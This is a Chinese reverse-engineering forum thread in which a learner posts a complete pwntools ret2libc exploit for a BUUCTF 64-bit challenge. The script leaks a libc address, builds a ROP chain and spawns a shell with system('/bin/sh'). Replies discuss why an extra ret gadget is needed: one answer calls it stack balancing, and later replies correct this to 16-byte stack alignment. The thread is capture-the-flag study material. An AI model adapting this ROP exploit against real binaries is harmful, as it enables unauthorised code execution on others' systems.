学逆向论坛

找回密码
立即注册

只需一步,快速开始

发新帖

77

积分

0

好友

3

主题
发表于 2021-9-9 21:37:08 | 查看: 4211| 回复: 8
本帖最后由 sweety 于 2021-9-9 21:38 编辑

原题地址:BUUCTF在线评测 (buuoj.cn)
这里是exp

from os import popen
from pwn import *
from LibcSearcher import *

context.log_level = 'debug'
#p = remote('node4.buuoj.cn',28554)
p = process('./pwn')
e = ELF("./pwn")
puts_plt_addr = e.plt['puts']
puts_got_addr = e.got['puts']
gets_got_addr = e.got['gets']
encrypt_addr = 0x4009a0
pop_rdi = 0x0000000000400c83
ret = 0x4006b9

p.recvuntil("choice!\n")
p.sendline("1")

payload = 'a'*88 + p64(pop_rdi) + p64(gets_got_addr) + p64(puts_plt_addr) + p64(encrypt_addr)
p.sendline(payload)
p.recvuntil("llllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll")
gets_addr = p.recvuntil("Input your Plaintext to be encrypted")[4:].split("\n")
print gets_addr[0]
gets_addr = u64(gets_addr[0].ljust(8,"\x00"))
print hex(gets_addr)
'''
libc = LibcSearcher("gets",gets_addr)
libc_base = gets_addr - libc.dump('gets')
system_addr = libc.dump("system") + libc_base
bin_addr = libc.dump("str_bin_sh") + libc_base
'''

libc = ELF("./libc.so")
libc_base = gets_addr - libc.symbols['gets']
system_addr = libc.symbols["system"] + libc_base
bin_addr = libc.search("/bin/sh").next() + libc_base

# payload = 'a'*88  +  p64(pop_rdi) + p64(bin_addr) + p64(system_addr) 这是我写的payload
payload = 'a'*88  + p64(ret) + p64(pop_rdi) + p64(bin_addr) + p64(system_addr)
p.sendline(payload)

p.interactive()
我看其他wp发现最后一个payload里添加了p64(ret),并说明为栈平衡

看了一天不懂为什么需要栈平衡,而且为什么要用ret指令平衡,求助

roger已获得悬赏 1 荣耀+5 学币

最佳答案

前面用到了堆栈,后面就要平栈,用ret平衡,有可能是他只找到了ret的指令片段,只要能对堆栈造成影响的指令都可以用来平衡堆栈
温馨提示:
1.如果您喜欢这篇帖子,请给作者点赞评分,点赞会增加帖子的热度,评分会给作者加学币。(评分不会扣掉您的积分,系统每天都会重置您的评分额度)。
2.回复帖子不仅是对作者的认可,还可以获得学币奖励,请尊重他人的劳动成果,拒绝做伸手党!
3.发广告、灌水回复等违规行为一经发现直接禁言,如果本帖内容涉嫌违规,请点击论坛底部的举报反馈按钮,也可以在【投诉建议】板块发帖举报。
发表于 2021-9-10 09:48:29
前面用到了堆栈,后面就要平栈,用ret平衡,有可能是他只找到了ret的指令片段,只要能对堆栈造成影响的指令都可以用来平衡堆栈
sweety 发表于 2021-9-10 21:23 详情  回复
那我如何判断堆栈是用push还是pop来提升还是降低栈而使他平衡呢,这题的ret可以看做用pop平衡,这是怎么判断的呢
sweety 发表于 2021-9-10 21:10 详情  回复
老师,我发现有另外一些ret2libc题目并不需要平衡堆栈,这又是为什么呢...
发表于 2021-9-10 21:10:46
本帖最后由 sweety 于 2021-9-10 21:14 编辑
roger 发表于 2021-9-10 09:48
前面用到了堆栈,后面就要平栈,用ret平衡,有可能是他只找到了ret的指令片段,只要能对堆栈造成影响的指令 ...
我懂了,谢谢老师,我以前做的都是32位题目并未用到堆栈所以不用平衡...
Sierra 发表于 2021-9-13 21:54 详情  回复
不是平衡堆栈。。。这是栈对齐,他说的不对
发表于 2021-9-10 21:23:59
roger 发表于 2021-9-10 09:48
前面用到了堆栈,后面就要平栈,用ret平衡,有可能是他只找到了ret的指令片段,只要能对堆栈造成影响的指令 ...

那我如何判断堆栈是用push还是pop来提升还是降低栈而使他平衡呢,这题的ret可以看做用pop平衡,这是怎么判断的呢

    发表于 2021-9-13 21:52:35
    不是栈平衡。。。这是ubuntu18版本以上,调用system时需要栈对齐。百度搜索栈对齐相关知识。

      发表于 2021-9-13 21:54:33
      sweety 发表于 2021-9-10 21:10
      我懂了,谢谢老师,我以前做的都是32位题目并未用到堆栈所以不用平衡...

      不是平衡堆栈。。。这是栈对齐,他说的不对
      sweety 发表于 2021-9-15 17:03 详情  回复
      谢谢,我百度找找
      发表于 2021-9-15 17:03:19
      Sierra 发表于 2021-9-13 21:54
      不是平衡堆栈。。。这是栈对齐,他说的不对

      谢谢,我百度找找
      refrain 发表于 2021-9-15 22:49 详情  回复
      很早以前找文章研究过这个,印象中大概就是ubuntu18及以上在调用system函数的时候会先进行一个检测,如果此时的栈没有16字节对齐的话,就会强行把程序crash掉,而我们在填入了一堆垃圾数据以后就会导致此时栈不是对

        发表于 2021-9-15 22:49:40
        sweety 发表于 2021-9-15 17:03
        谢谢,我百度找找

        很早以前找文章研究过这个,印象中大概就是ubuntu18及以上在调用system函数的时候会先进行一个检测,如果此时的栈没有16字节对齐的话,就会强行把程序crash掉,而我们在填入了一堆垃圾数据以后就会导致此时栈不是对齐的,所以要在调用system前把栈地址ret到一个对齐的位置,大部分情况只需要随便找一个ret就可以了,因为没有被你动过的内存大概是对齐的,你填完垃圾数据以后来到ret_addr上,本来是把system的rop链填在上面来控制执行流,会ret system(bin/sh),前面多个ret就是ret ret system(bin/sh),仔细想想是没有差别的,https://www.cnblogs.com/Rookle/p/12871878.html 具体可以看这个博客,是我当时找到讲的最好最清楚的。上面只是本人看法,如果有大佬觉得是错的请指出。
        发表于 2021-9-17 14:43:18
        本帖最后由 sweety 于 2021-10-20 15:57 编辑

        谢谢各位师傅热心回答,最近做第五空间的bountyhunter时又遇到这个问题,当时是gdb attach调试才发现原因,是movaps与xmm寄存器的问题,这两个因素在一起的话栈必须是16字节对齐的

        小黑屋|手机版|站务邮箱|学逆向论坛 ( 粤ICP备2021023307号 )|网站地图

        GMT+8, 2024-4-30 12:16 , Processed in 0.312972 second(s), 82 queries .

        Powered by Discuz! X3.4

        Copyright © 2001-2021, Tencent Cloud.

        快速回复 返回顶部 返回列表